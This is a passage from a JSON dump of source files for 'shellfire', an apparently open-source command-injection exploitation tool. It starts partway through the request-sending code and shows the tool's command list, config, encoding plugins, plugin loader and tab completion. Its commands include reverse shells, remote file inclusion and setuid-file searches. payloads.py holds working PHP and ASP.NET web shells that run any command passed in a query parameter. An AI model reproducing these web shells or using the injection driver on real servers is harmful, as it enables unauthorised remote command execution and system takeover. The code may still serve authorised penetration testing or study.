'rb')}\n            except Exception as e:\n              sys.stdout.write(\"[!] Error opening file for multpart upload: %s\\n\" % (e))\n          ## check for plugins next\n          elif 'plugin' in cfg.files.keys():\n            try:\n              if cfg.files['plugin'] in plugins.plugins:\n                files = {cfg.files['key']: plugins.plugins[cfg.files['plugin']].run(cmd)}\n              else:\n                sys.stdout.write(\"[!] Invalid plugin '%s'\\n\" % (cmd[1]))\n            except Exception as e:\n              sys.stdout.write(\"[!] Error: %s\\n\" % (e))\n        ## post our form data\n        r = state.requests.post(\n            query,\n            data=post_data,\n            files=files,\n            verify=False,\n            cookies=cookie_data,\n            headers=header_data,\n            auth=cfg.auth)\n      else:\n        r = state.requests.get(\n            query,\n            verify=False,\n            cookies=cookie_data,\n            headers=header_data,\n            auth=cfg.auth)\n      ## sanitize the output. we only want to see our commands if possible\n      output = \"\"\n      if cfg.marker:\n        buffer = r.text.split(cfg.marker)\n        if len(buffer) > 1:\n          for idx in cfg.marker_idx:\n            output = output + buffer[idx] + \"\\n\"\n        else:\n          output = buffer[0]\n        ## strip trailing newlines\n        output = output.rstrip()\n      else:\n        output = r.text\n      ## display our results\n      sys.stdout.write(output + \"\\n\")\n      if state.userinput == '_show_phpinfo':\n        file = 'phpinfo.html'\n        fp = open(file, 'w')\n        fp.write(output)\n        fp.close()\n        sys.stdout.write(\"[*] Output saved to '\" + file + \"'.\\n\")\n    except Exception as e:\n      sys.stderr.write(\"[!] Unable to make request to target.\\n\")\n      sys.stderr.write(\"[!]   %s\\n\" % e)\n      sys.stdout.flush()\n  return\n\n\n############################################################\n## Command list\n\"\"\"Data structure of all available shellfire commands.\n\"\"\"\ncommand_list = {\n  \"auth\": {\n    \"func\": cmd_auth,\n    \"description\": \"\",\n    \"help_text\": [\n      \"auth                       - show current HTTP Auth credentials.\\n\",\n      \"auth <username>:<password> - set the HTTP Auth credentials.\\n\",\n    ],\n  },\n  \"config\": {\n    \"func\": cmd_config,\n    \"description\": \"\",\n    \"help_text\": [\n      \"config save [name] - save a named config.\\n\",\n      \"config load [name] - load a named config.\\n\",\n    ],\n  },\n  \"cookies\": {\n    \"func\": cmd_cookies,\n    \"description\": \"\",\n    \"help_text\": [\n      \"cookies          - show current cookies to be sent with each request.\\n\",\n      \"cookies <string> - a string representing cookies you wish to send.\\n\",\n      \"                   strings can be json or url encoded.\\n\",\n      \"                   use '{}' to specify where command injection goes.\\n\",\n    ],\n  },\n  \"encode\": {\n    \"func\": cmd_encode,\n    \"description\": \"\",\n    \"help_text\": [\n      \"encode          - show current encoding used before sending commands.\\n\",\n      \"encode <string> - encode commands with plugin <string> before sending.\\n\",\n      \"      * you may pass multiple plugins separated with spaces or pipes.\\n\",\n    ],\n  },\n  \"exit\": {\n    \"func\": cmd_exit,\n    \"description\": \"\",\n    \"help_text\": [\n      \"exit - exits this program.\\n\"\n    ],\n  },\n  \"files\": {\n    \"func\": cmd_files,\n    \"description\": \"\",\n    \"help_text\": [\n      \"files                  - show files to be sent to target.\\n\",\n      \"files \\\"\\\"               - unset files.\\n\",\n      \"files <field> @<file>  - send contents of file as <field>.\\n\",\n      \"files <field> <plugin> - send return value of plugin as <field>.\\n\",\n      \"                         the plugin should return a tuple of values\\n\",\n      \"                         for the filename and contents.\\n\",\n    ],\n  },\n  \"find\": {\n    \"func\": cmd_find,\n    \"description\": \"\",\n    \"help_text\": [\n      \"find setuid - search for setuid files.\\n\",\n      \"find setgid - search for setgid files.\\n\",\n    ],\n  },\n  \"fuzz\": {\n    \"func\": cmd_fuzz,\n    \"description\": \"\",\n    \"help_text\": [\n      \"fuzz         - show source for fuzzing.\\n\",\n      \"fuzz start   - start fuzzing.\\n\",\n      \"fuzz @<file> - use file as source for fuzzing.\\n\",\n      \"               type 'default' to use bult-in source.\\n\",\n    ],\n  },\n  \"headers\": {\n    \"func\": cmd_headers,\n    \"description\": \"\",\n    \"help_text\": [\n      \"headers default   - sets the headers back to the shellfire defaults.\\n\",\n      \"headers <string>  - upserts the headers from your string into the header config.\\n\",\n      \"                    strings can be json or url encoded.\\n\",\n      \"                    use '{}' to specify where command injection goes.\\n\",\n    ],\n  },\n  \"help\": {\n    \"func\": cmd_help,\n    \"description\": \"\",\n    \"help_text\": [\n      \"help - prints all help topics.\\n\"\n    ],\n  },\n  \"history\": {\n    \"func\": cmd_history,\n    \"description\": \"\",\n    \"help_text\": [\n      \"history clear  - erase history.\\n\",\n      \"history nosave - do not write history file.\\n\",\n      \"history save   - write history file on exit.\\n\",\n    ],\n  },\n  \"http\": {\n    \"func\": cmd_http,\n    \"description\": \"\",\n    \"help_text\": [\n      \"http                - show status of HTTP server\\n\",\n      \"http payload [type] - set the payload to be used for RFI.\\n\",\n      \"                      supported payload types:\\n\",\n      \"                        aspnet\\n\",\n      \"                        php\\n\",\n      \"http start [port]   - start HTTP server.\\n\",\n      \"http stop           - stop HTTP server.\\n\",\n    ],\n  },\n  \"marker\": {\n    \"func\": cmd_marker,\n    \"description\": \"\",\n    \"help_text\": [\n      \"marker              - show the current payload output marker.\\n\",\n      \"marker set <string> - set the payload output marker to string.\\n\",\n      \"marker out <number> - the output indices to display after splitting on\\n\",\n      \"                      our marker.\\n\",\n    ],\n  },\n  \"method\": {\n    \"func\": cmd_method,\n    \"description\": \"\",\n    \"help_text\": [\n      \"method      - show current HTTP method.\\n\",\n      \"method get  - set HTTP method to GET.\\n\",\n      \"method post - set HTTP method to POST.\\n\",\n      \"method form - set HTTP method to POST using multipart form data.\\n\",\n    ],\n  },\n  \"phpinfo\": {\n    \"func\": cmd_phpinfo,\n    \"description\": \"\",\n    \"help_text\": [\n      \"phpinfo - executes the '_show_phpinfo' command via the PHP payload.\\n\"\n    ],\n  },\n  \"plugins\": {\n    \"func\": cmd_plugins,\n    \"description\": \"\",\n    \"help_text\": [\n      \"plugins - list all available plugins.\\n\"\n    ],\n  },\n  \"post\": {\n    \"func\": cmd_post,\n    \"description\": \"\",\n    \"help_text\": [\n      \"post <string> - a string representing post data you wish to send.\\n\",\n      \"                strings can be json or url encoded.\\n\",\n      \"                use '{}' to specify where command injection goes.\\n\",\n    ]\n  },\n  \"referer\": {\n    \"func\": cmd_referer,\n    \"description\": \"\",\n    \"help_text\": [\n      \"referer          - show the HTTP referer string.\\n\",\n      \"referer <string> - set the value for HTTP referer.\\n\",\n    ],\n  },\n  \"revshell\": {\n    \"func\": cmd_revshell,\n    \"description\": \"\",\n    \"help_text\": [\n      \"shell <ip_address> <port> - initiate reverse shell to target.\\n\",\n    ]\n  },\n  \"shell\": {\n    \"func\": cmd_shell,\n    \"description\": \"\",\n    \"help_text\": [\n      \"shell - enter exploitation shell. commands entered here are processed and sent as\\n\",\n      \"        payloads to your target.\\n\"\n    ]\n  },\n  \"url\": {\n    \"func\": cmd_url,\n    \"description\": \"\",\n    \"help_text\": [\n      \"url <string> - set the target URL to string.\\n\",\n      \"               use '{}' to specify where command injection goes.\\n\",\n    ],\n  },\n  \"useragent\": {\n    \"func\": cmd_useragent,\n    \"description\": \"\",\n    \"help_text\": [\n      \"useragent          - show the User-Agent string.\\n\",\n      \"useragent <string> - set the value for User-Agent.\\n\",\n    ],\n  },\n  \"quit\": {\n    \"func\": cmd_exit,\n    \"description\": \"Alias of \\\".exit\\\"\",\n    \"help_text\": [\n      \"quit - exits this program.\\n\"\n    ],\n  },\n}\n"
  },
  {
    "path": "shellfire/config.py",
    "content": "import os\nimport json\nimport pkg_resources\nimport requests\nfrom tokenize import Number\nfrom typing import List\nfrom enum import Enum\n\n## define application modes\nclass Mode(Enum):\n  config = 1\n  shell = 2\n\n## define our shell prompts\nprompt = {Mode.config: \"config\", Mode.shell: \"shell\"}\n\n## session configurable options defined here\nclass Configs():\n  auth: str\n  auth_user: str\n  auth_pass: str\n  cookies: object\n  default_headers: object\n  encode_chain: List[any]\n  files: dict\n  fuzzfile: str\n  headers: object\n  history_file: str\n  http_port: Number\n  marker: str\n  marker_idx: List[int]\n  method: str\n  payload: str\n  payload_type: str\n  post_data: object\n  url: str\n  version: str\n\n  def __init__(self):\n    self.version = pkg_resources.require(\"shellfire\")[0].version\n    self.url = \"http://www.example.com?\"\n    self.history_file = os.path.abspath(\n        os.path.expanduser(\"~/.shellfire_history\"))\n    self.post_data = {}\n    self.cookies = {}\n    self.headers = {\n        'User-Agent': '',\n        'Referer': ''\n    }\n\n    \"\"\"The default header set for outgoing requests.\n    \"\"\"\n    self.default_headers = {\n        'User-Agent': ''\n    }\n\n    self.method = \"get\"\n\n    self.auth = None\n    self.auth_user = None\n    self.auth_pass = None\n    self.payload = \"\"\n    self.payload_type = \"PHP\"\n    self.encode_chain = []\n    self.encode = None\n    self.files = {}\n    self.fuzzfile = \"default\"\n    self.marker = \"--9453901401ed3551bc94fcedde066e5fa5b81b7ff878c18c957655206fd538da--\"\n    self.marker_idx = [1]\n    self.http_port = 8888\n\n  def dump(self):\n    return json.dumps(self.__dict__)\n\n  def load(self, json_cfg):\n    self.__dict__.update(json_cfg)\n    return\n\n\n## instantiate our config class\ncfg = Configs()\n\n\n## store our ephemeral state here\nclass state():\n  args = None\n  http_running = False\n  revshell_running = False\n  userinput = None\n  input_offset = 0\n  exec_cmd = True\n  requests = requests.Session()\n  mode = Mode.config\n"
  },
  {
    "path": "shellfire/default_plugins/__init__.py",
    "content": ""
  },
  {
    "path": "shellfire/default_plugins/default.py",
    "content": "import base64 as b64\nimport urllib.parse\n\nfrom shellfire.plugin_collection import Plugin\n\nclass Base64(Plugin):\n    \"\"\"Base64 encode your input\n    \"\"\"\n    def __init__(self):\n        super().__init__()\n        self.description = 'Base64'\n\n    def run(self, argument):\n        return b64.b64encode(str(argument).encode()).decode()\n\nclass urlencode(Plugin):\n    \"\"\"URL encode your input\n    \"\"\"\n    def __init__(self):\n        super().__init__()\n        self.description = 'URL encode'\n\n    def run(self, argument):\n        return urllib.parse.quote(argument)\n"
  },
  {
    "path": "shellfire/payloads.py",
    "content": "\ndef get_aspnet_payload(marker) -> str:\n  return f\"\"\"\\\n{marker}<%\nDim objShell = Server.CreateObject(\"WSCRIPT.SHELL\")\nDim command = Request.QueryString(\"cmd\")\n\nDim comspec = objShell.ExpandEnvironmentStrings(\"%comspec%\")\n\nDim objExec = objShell.Exec(comspec & \" /c \" & command)\nDim output = objExec.StdOut.ReadAll()\n%><%= output %>{marker}\n\"\"\"\n\ndef get_php_payload(marker) -> str:\n  return f\"\"\"\\\n{marker}<?php\nif ($_GET['cmd'] == '_show_phpinfo') {{\n  phpinfo();\n}} else if ($_GET['cmd'] == '_show_cookie') {{\n  var_dump($_COOKIE);\n}} else if ($_GET['cmd'] == '_show_get') {{\n  var_dump($_GET);\n}} else if ($_GET['cmd'] == '_show_post') {{\n  var_dump($_POST);\n}} else if ($_GET['cmd'] == '_show_server') {{\n  var_dump($_SERVER);\n}} else {{\n  system($_GET['cmd']) || print `{{$_GET['cmd']}}`;\n}}\n?>{marker}\n\"\"\""
  },
  {
    "path": "shellfire/plugin_collection.py",
    "content": "import inspect\nimport os\nimport pkgutil\nimport sys\n\n\nclass Plugin(object):\n  \"\"\"Base class that each plugin must inherit from. within this class\n  you must define the methods that all of your plugins must implement\n  \"\"\"\n\n  def __init__(self):\n    self.description = 'UNKNOWN'\n\n  def run(self, argument):\n    \"\"\"The method that we expect all plugins to implement. This is the\n    method that our framework will call\n    \"\"\"\n    raise NotImplementedError\n\n\nclass PluginCollection(object):\n  \"\"\"Upon creation, this class will read the plugins package for modules\n  that contain a class definition that is inheriting from the Plugin class\n  \"\"\"\n\n  debug = False\n\n  def __init__(self, plugin_package, debug=False):\n    \"\"\"Constructor that initiates the reading of all available plugins\n    when an instance of the PluginCollection object is created\n    \"\"\"\n    if debug:\n      self.debug = True\n    self.plugin_package = plugin_package\n    self.reload_plugins()\n\n  def reload_plugins(self):\n    \"\"\"Reset the list of all plugins and initiate the walk over the main\n    provided plugin package to load all available plugins\n    \"\"\"\n    self.plugins = {}\n    self.seen_paths = []\n    if type(self.plugin_package) == list:\n      for pkg in self.plugin_package:\n        if self.debug:\n          print()\n          print(f'Looking for plugins under package {pkg}')\n        self.walk_package(pkg)\n    else:\n      if self.debug:\n        print()\n        print(f'Looking for plugins under package {self.plugin_package}')\n      self.walk_package(self.plugin_package)\n\n  def apply(self, name, argument):\n    \"\"\"Apply a plugin on the argument supplied to this function\n    \"\"\"\n    try:\n      plugin = self.plugins[name]\n      argument = plugin.run(argument)\n      if self.debug is True:\n        print(f' -> {plugin.description} : {argument}')\n    except Exception as e:\n      print(f\"Error in {plugin.description}: {e}\")\n    return argument\n\n  def apply_all(self, argument):\n    \"\"\"Apply all of the plugins on the argument supplied to this function\n    \"\"\"\n    print()\n    print(f'Applying all plugins on value {argument}:')\n    for plugin in self.plugins:\n      try:\n        argument = plugin.run(argument)\n        if self.debug:\n          print(f' -> {plugin.description} : {argument}')\n      except Exception as e:\n        print(f\"Error in {plugin.description}: {e}\")\n    return argument\n\n  def walk_package(self, package):\n    \"\"\"Recursively walk the supplied package to retrieve all plugins\n    \"\"\"\n    try:\n      imported_package = __import__(package, fromlist=['n/a'])\n    except Exception as e:\n      if package != \"plugins\":\n        print(f\"Error: {e}\")\n      return\n\n    for _, pluginname, ispkg in pkgutil.iter_modules(\n        imported_package.__path__,\n        imported_package.__name__ + '.'):\n      if not ispkg:\n        plugin_module = __import__(pluginname, fromlist=['n/a'])\n        clsmembers = inspect.getmembers(plugin_module, inspect.isclass)\n        for (_, c) in clsmembers:\n          ## Only add classes that are a sub class of Plugin, NOT Plugin itself\n          if issubclass(c, Plugin) & (c is not Plugin):\n            if self.debug:\n              print(f'  Found plugin: {c.__name__.lower()}')\n            ## make sure the key is the lowercase version  of the class name\n            self.plugins[c.__name__.lower()] = c()\n\n    ## Now that we have looked at all the modules in the current package,\n    ## start looking recursively for additional modules in sub packages.\n    all_current_paths = []\n    if isinstance(imported_package.__path__, str):\n      all_current_paths.append(imported_package.__path__)\n    else:\n      all_current_paths.extend([x for x in imported_package.__path__])\n\n    for pkg_path in all_current_paths:\n      if pkg_path not in self.seen_paths:\n        self.seen_paths.append(pkg_path)\n\n        ## Only proceed if pkg_path is a real directory\n        if os.path.isdir(pkg_path):\n          ## Get all sub directory of the current package path directory\n          child_pkgs = [p for p in os.listdir(pkg_path)\n                        if os.path.isdir(os.path.join(pkg_path, p))]\n\n          ## For each sub directory, apply the walk_package method recursively\n          for child_pkg in child_pkgs:\n            self.walk_package(package + '.' + child_pkg)\n    return\n\n\n## set the search path for custom plugins\nsys.path.append(os.path.expanduser(\"~/.config/shellfire\"))\n\n## initialize our  available plugins\nplugins = PluginCollection(['shellfire.default_plugins', 'plugins'], debug=False)\n"
  },
  {
    "path": "shellfire/tab_completion.py",
    "content": "#!/usr/bin/env python3\n\"\"\"\nTab completion for ShellFire CLI\nProvides command and subcommand completion for the ShellFire exploitation shell.\n\"\"\"\n\nimport os\nimport readline\nimport glob\nfrom typing import List, Optional\n\n\nclass ShellfireCompleter:\n    \"\"\"Tab completion for ShellFire commands and subcommands.\"\"\"\n    \n    def __init__(self):\n        \"\"\"Initialize the completer with command lists.\"\"\"\n        # Import the actual command list from shellfire\n        try:\n            from shellfire.commands import command_list\n            self.config_commands = list(command_list.keys())\n        except ImportError:\n            # Fallback to hardcoded list if import fails\n            self.config_commands = [\n                'help', 'exit', 'config', 'shell', 'auth', 'cookies', 'encode',\n                'files', 'find', 'fuzz', 'headers', 'history', 'http', 'marker',\n                'method', 'phpinfo', 'plugins', 'post', 'referer', 'revshell',\n                'url', 'useragent', 'quit'\n            ]\n        \n        # Subcommands for config command\n        self.config_subcommands = [\n            'load', 'save', 'show', 'clear', 'reset'\n        ]\n        \n        # Subcommands for plugin command\n        self.plugin_subcommands = [\n            'list', 'enable', 'disable', 'reload', 'info'\n        ]\n        \n        # Common file extensions for payloads\n        self.payload_extensions = ['.php', '.asp', '.aspx', '.jsp', '.py', '.sh']\n        \n        # Common HTTP headers\n        self.http_headers = [\n            'User-Agent', 'Accept', 'Accept-Language', 'Accept-Encoding',\n            'Content-Type', 'Content-Length', 'Authorization', 'Cookie',\n            'Referer', 'X-Forwarded-For', 'X-Requested-With'\n        ]\n        \n        # Common user agents\n        self.user_agents = [\n            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',\n            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',\n            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',\n            'curl/7.68.0', 'wget/1.20.3'\n        ]\n        \n        # Common URL schemes and patterns\n        self.url_patterns = [\n            'http://', 'https://', 'ftp://', 'file://'\n        ]\n    \n    def complete(self, text: str, state: int) -> Optional[str]:\n        \"\"\"\n        Main completion function called by readline.\n        \n        Args:\n            text: The text to complete\n            state: The state of completion (0 for first call, 1+ for subsequent)\n            \n        Returns:\n            The completion string or None if no more completions\n        \"\"\"\n        if state == 0:\n            # First call - build the list of completions\n            # Get the full line buffer to understand context\n            full_line = readline.get_line_buffer()\n            self.matches = self._get_completions(full_line)\n        \n        # Return the next match or None if no more\n        try:\n            return self.matches[state]\n        except IndexError:\n            return None\n    \n    def _get_completions(self, text: str) -> List[str]:\n        \"\"\"\n        Get all possible completions for the given text.\n        \n        Args:\n            text: The text to complete\n            \n        Returns:\n            List of possible completions\n        \"\"\"\n        if not text:\n            return []\n        \n        # Check if text ends with space (indicating we want subcommand completion)\n        ends_with_space = text.endswith(' ')\n        \n        # Split the input to understand the context\n        parts = text.split()\n        \n        if len(parts) == 1 and not ends_with_space:\n            # First word - complete main commands\n            return [cmd for cmd in self.config_commands if cmd.startswith(text)]\n        \n        elif len(parts) >= 1 and (len(parts) >= 2 or ends_with_space):\n            # Second or later word - complete subcommands or arguments\n            command = parts[0]\n            current_word = parts[-1] if len(parts) > 1 else \"\"\n            \n            # If we have a space at the end or current_word is empty, show all subcommands\n            if ends_with_space or not current_word:\n                if command == 'config':\n                    return self._complete_config_subcommand('')\n                elif command == 'http':\n                    return self._complete_http_subcommand('')\n                elif command == 'method':\n                    return self._complete_method_subcommand('')\n                elif command == 'marker':\n                    return self._complete_marker_subcommand('')\n                elif command == 'history':\n                    return self._complete_history_subcommand('')\n                elif command == 'fuzz':\n                    return self._complete_fuzz_subcommand('')\n                elif command == 'find':\n                    return self._complete_find_subcommand('')\n                elif command == 'help':\n                    return self._complete_help_subcommand('')\n                else:\n                    return []\n            \n            # Otherwise complete based on what's typed\n            if command == 'config':\n                return self._complete_config_subcommand(current_word)\n            elif command == 'http':\n                return self._complete_http_subcommand(current_word)\n            elif command == 'method':\n                return self._complete_method_subcommand(current_word)\n            elif command == 'marker':\n                return self._complete_marker_subcommand(current_word)\n            elif command == 'history':\n                return self._complete_history_subcommand(current_word)\n            elif command == 'fuzz':\n                return self._complete_fuzz_subcommand(current_word)\n            elif command == 'find':\n                return self._complete_find_subcommand(current_word)\n            elif command == 'help':\n                return self._complete_help_subcommand(current_word)\n            elif command in ['load', 'save']:\n                return self._complete_file_path(current_word)\n            else:\n                # For other commands, try file completion\n                return self._complete_file_path(current_word)\n        \n        return []\n    \n    def _complete_config_subcommand(self, text: str) -> List[str]:\n        \"\"\"Complete config subcommands.\"\"\"\n        config_subcommands = ['save', 'load']\n        return [cmd for cmd in config_subcommands if cmd.startswith(text)]\n    \n    def _complete_http_subcommand(self, text: str) -> List[str]:\n        \"\"\"Complete http subcommands.\"\"\"\n        http_subcommands = ['payload', 'start', 'stop']\n        return [cmd for cmd in http_subcommands if cmd.startswith(text)]\n    \n    def _complete_method_subcommand(self, text: str) -> List[str]:\n        \"\"\"Complete method subcommands.\"\"\"\n        method_subcommands = ['get', 'post', 'form']\n        return [cmd for cmd in method_subcommands if cmd.startswith(text)]\n    \n    def _complete_marker_subcommand(self, text: str) -> List[str]:\n        \"\"\"Complete marker subcommands.\"\"\"\n        marker_subcommands = ['set', 'out']\n        return [cmd for cmd in marker_subcommands if cmd.startswith(text)]\n    \n    def _complete_history_subcommand(self, text: str) -> List[str]:\n        \"\"\"Complete history subcommands.\"\"\"\n        history_subcommands = ['clear', 'nosave', 'save']\n        return [cmd for cmd in history_subcommands if cmd.startswith(text)]\n    \n    def _complete_fuzz_subcommand(self, text: str) -> List[str]:\n        \"\"\"Complete fuzz subcommands.\"\"\"\n        fuzz_subcommands = ['start']\n        return [cmd for cmd in fuzz_subcommands if cmd.startswith(text)]\n    \n    def _complete_find_subcommand(self, text: str) -> List[str]:\n        \"\"\"Complete find subcommands.\"\"\"\n        find_subcommands = ['setuid', 'setgid']\n        return [cmd for cmd in find_subcommands if cmd.startswith(text)]\n    \n    def _complete_help_subcommand(self, text: str) -> List[str]:\n        \"\"\"Complete help subcommands (all available commands).\"\"\"\n        # Use the same command list as main commands\n        return [cmd for cmd in self.config_commands if cmd.startswith(text)]\n    \n    def _complete_file_path(self, text: str) -> List[str]:\n        \"\"\"Complete file paths with glob patterns.\"\"\"\n        if not text:\n            return ['.', '..']\n        \n        # Handle tilde expansion\n        if text.startswith('~'):\n            text = os.path.expanduser(text)\n        \n        # Get the directory and filename parts\n        dirname = os.path.dirname(text) or '.'\n        basename = os.path.basename(text)\n        \n        try:\n            # List files in the directory\n            if os.path.exists(dirname):\n                files = os.listdir(dirname)\n                matches = []\n                \n                for file in files:\n                    if file.startswith(basename):\n                        full_path = os.path.join(dirname, file)\n                        if os.path.isdir(full_path):\n                            matches.append(full_path + '/')\n                        else:\n                            matches.append(full_path)\n                \n                return matches\n        except (OSError, PermissionError):\n            pass\n        \n        return []\n    \n    def _complete_http_header(self, text: str) -> List[str]:\n        \"\"\"Complete HTTP header names.\"\"\"\n        return [header for header in self.http_headers if header.lower().startswith(text.lower())]\n    \n    def _complete_user_agent(self, text: str) -> List[str]:\n        \"\"\"Complete user agent strings.\"\"\"\n        return [ua for ua in self.user_agents if ua.lower().startswith(text.lower())]\n    \n    def _complete_url(self, text: str) -> List[str]:\n        \"\"\"Complete URL patterns.\"\"\"\n        return [url for url in self.url_patterns if url.startswith(text)]\n\n\ndef setup_tab_completion():\n    \"\"\"Setup tab completion for the current session.\"\"\"\n    try:\n        completer = ShellfireCompleter()\n        readline.set_completer(completer.complete)\n        \n        # Set up tab binding for macOS (libedit) vs GNU readline\n        import sys\n        if sys.platform == 'darwin':\n            # macOS uses libedit which has different binding syntax\n            readline.parse_and_bind('bind ^I rl_complete')\n        else:\n            # GNU readline\n            readline.parse_and_bind('tab: complete')\n        \n        return True\n    except Exception as e:\n        print(f\"[DEBUG] Tab completion setup failed: {e}\")\n        return False\n\n\nif __name__ == \"__main__\":\n    # Test the completer\n    completer = ShellfireCompleter()\n    test_inputs = ['au', 'co', 'pl', 'se']\n    \n    for test_input in test_inputs:\n        completions = completer._get_completions(test_input)\n        print(f\"'{test_input}' -> {completions}\") "
  }
]